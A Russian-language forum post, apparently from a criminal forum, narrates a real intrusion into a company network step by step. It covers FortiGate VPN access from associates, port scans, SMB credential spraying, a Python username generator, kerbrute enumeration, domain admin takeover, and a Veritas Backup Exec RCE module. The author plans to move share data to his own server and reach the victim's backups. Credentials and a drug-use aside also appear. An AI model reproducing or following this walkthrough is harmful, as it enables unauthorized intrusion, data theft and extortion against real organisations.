LIMB
Вход Регистрация

тема

Делаем сетку 8 mln revenue$$$ (заметки)

ArmCorp · · 2 ответов · 447 просмотров

Специально для нашего любимого форума данная заметочка. 

Дело было так. Написал корешам в чат, попросил доступ.

username|None|passwd|ip:443|domain.com|UNKNOWN|None|$7.9 Million|https://ip:443

Не удалось прогрузить медиа


Перешел по вебу смотрю впна нет, подключиться не могу. Решил просканить быстренько айпишник на открытые порты.

gogo -i ip -p top2

Не удалось прогрузить медиа


Вот он! Наш фортик. Коннектимся к нему.

sudo openconnect --protocol=fortinet https://ip:10443

подключились, получили роуты.

Не удалось прогрузить медиа


Первое что я хочу сделать это понять где дисишка (DC) и какое время на таргете. Чтобы офисники мозги не ебали.

Не удалось прогрузить медиа


192.168.2.30, 192.168.2.31 - DC

Не удалось прогрузить медиа


Увы 123 порт накрыт фаерволом. Нам нужен открытый порт 123 UDP. 

Не удалось прогрузить медиа


К примеру вот тестовый таргет ff.garena.com вы смогли получить время т.к 123 порт открыт. Убедимся в этом через nmap.

sudo nmap -sU -p 123 148.222.67.157

Не удалось прогрузить медиа


Вот как видим порт открыт. Это я объясняю для чайников=))) Мы же посмотрим время иначе. На сайте таргета есть контактный номер для связи. Я по нему определил город и понял что у них GMT-4.

глянем куда с кредами впна впустит
netexec smb 192.168.2.0/24 -u 'vpn' -p 'passwd*'

SMB 192.168.2.96 445 IBECAGFZM1 [+] localdomain\vpn:passwd* (Guest)

ок. Одна шара.

Забыл посмотреть сколько компов в сетке

gogo -i 192.168.2.0/24 -p 445

[*] Alived: 98, Total: 256 , 2025-03-17 15:24.46

98 компов. Ну нихуево=) Это важно посмотреть, т.к у нас мог бы быть доступ к одному маленькому офису, а тут вроде норм сеть.

Чтобы легче читалось я буду отрывками скидывать... Продолжение следует.
👍28 😮9 😢4
Продолжаем дальше. Кореш сдампил креды.

'username': '"CN=super admin blablabla,CN=Users

юзернейм из трех частей среди которой есть админ и пароль. Наталкивает на мысль что это пароль от домейн админа. Но в АД не будет домейн админа с юзернеймом из 3-х частей. Надо из этих 3 частей нагенерить юзернеймы и перечислить настоящие с помощью kbrute.
Python:
from itertools import permutations, product


def generate_usernames(word1, word2, word3):
    usernames = set()
    
    # Основные комбинации
    usernames.add(f"{word1[0]}{word2}{word3}")  # sadmincagua
    usernames.add(f"{word1}{word2}{word3}")    # superadmincagua
    usernames.add(f"{word1}{word2[0]}{word3}") # superacagua
    usernames.add(f"{word1[0]}{word2[0]}{word3}") # saCagua
    usernames.add(f"{word1}.{word2}.{word3}")  # super.admin.cagua
    usernames.add(f"{word1}_{word2}_{word3}")  # super_admin_cagua
    usernames.add(f"{word1}-{word2}-{word3}")  # super-admin-cagua
    usernames.add(f"{word2}{word1}{word3}")    # adminsupercagua
    usernames.add(f"{word3}{word1}{word2}")    # caguasuperadmin
    usernames.add(f"{word1[0]}_{word2}_{word3}") # s_admin_cagua
    usernames.add(f"{word1}{word2[0]}.{word3}") # supera.cagua
    
    # Генерация всех перестановок слов
    for perm in permutations([word1, word2, word3]):
        usernames.add("".join(perm))  # superadmincagua, adminsupercagua, etc.
        usernames.add(".".join(perm)) # super.admin.cagua, admin.super.cagua, etc.
        usernames.add("_".join(perm)) # super_admin_cagua, etc.
        usernames.add("-".join(perm)) # super-admin-cagua, etc.
    
    # Комбинации с сокращениями
    for sep1, sep2 in product(["", ".", "_", "-"], repeat=2):
        usernames.add(f"{word1[:3]}{sep1}{word2[:3]}{sep2}{word3[:3]}")  # sup.adm.cag, sup_adm_cag, etc.
    
    return usernames


# Ввод слов
word1, word2, word3 = input("Введите три слова через пробел: ").split()
usernames = generate_usernames(word1.lower(), word2.lower(), word3.lower())


# Сохранение в файл
with open("usernames.txt", "w") as f:
    f.write("\n".join(usernames))


print("Сгенерированные имена пользователей сохранены в usernames.txt")

Не удалось прогрузить медиа

kbrute userenum -d domain.com usernames.txt --dc 192.168.2.31

2025/03/17 16:14:22 >  Done! Tested 45 usernames (1 valid) in 1.343 seconds


Отлично! Проверим что за пользователь точно ли он домейный администратор.
netexec smb 192.168.2.30 -u sadmincagua -p 'dom54&lo754&'


SMB         192.168.2.30    445    IBECAGDC01       [+] domain.com\sadmincagua:dom54&lo754& (Pwn3d!)

Ох, как хорошо=)


Не удалось прогрузить медиа


Выгрузили пользователей. Или можно выгрузить вот так
rpcclient -U "srvadmin%oasinr01238rh!" 192.168.2.30
> enumdomusers

Вывод: Что тише?​


МетодШумностьПричинаrpcclient:small_blue_diamond: СреднийСтандартные RPC-запросы, но видны в логах 4624, 4776netexec:fire: ГромкийМассовые запросы по SMB/LDAP, вызывают больше событий в SIEM

Я стал думать что делать дальше. Смешал нарку как ice80 учил она помогает не спать, я живу в стране где легалайз, вам не рекомендую. Помогает не спать,  а потом п****ц настает. Далее DC просканил.

Не удалось прогрузить медиа


вижу 10000 порт, я помню этого старичка. 90% что это бэкапилка.

Не удалось прогрузить медиа


ага оно. Veritas Backup Exec. 
Не удалось прогрузить медиа


https://www.rapid7.com/db/modules/exploit/multi/veritas/beagent_sha_auth_rce/ вот что нам нужно.

Не удалось прогрузить медиа


Таким образом мы создали доменную учетку.

дальше осталось походить по шарам собрать дату, передать на наш сервер. Получить доступ к серверу куда бэкапит veritas и veeam.
👍2
Армянский Красавчик, крутые посты, продолжай в том же духе

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.